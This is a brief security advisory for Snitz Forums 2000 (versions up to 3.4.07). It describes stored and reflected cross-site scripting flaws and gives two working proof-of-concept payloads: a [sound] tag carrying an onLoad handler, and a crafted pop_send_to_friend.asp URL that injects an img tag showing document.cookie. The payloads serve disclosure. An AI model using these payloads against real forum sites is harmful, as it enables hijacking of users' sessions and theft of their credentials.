Snitz Forums 2000 <=3.4.07 is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
Permanent XSS
If [sound] tag is allowed:
[sound]http://url_to_valid_mp3_or_m3u_file.m3u' onLoad='alert(document.cookie)[/sound]
Reflected XSS
http://localhost/forum/pop_send_to_friend.asp?url=</textarea><img src='http://www.google.it/intl/it_it/images/logo.gif' onLoad ='alert(document.cookie)'>
Note the space: onLoad<space>="alert(document.cookie)"
BID: http://www.securityfocus.com/bid/36710/info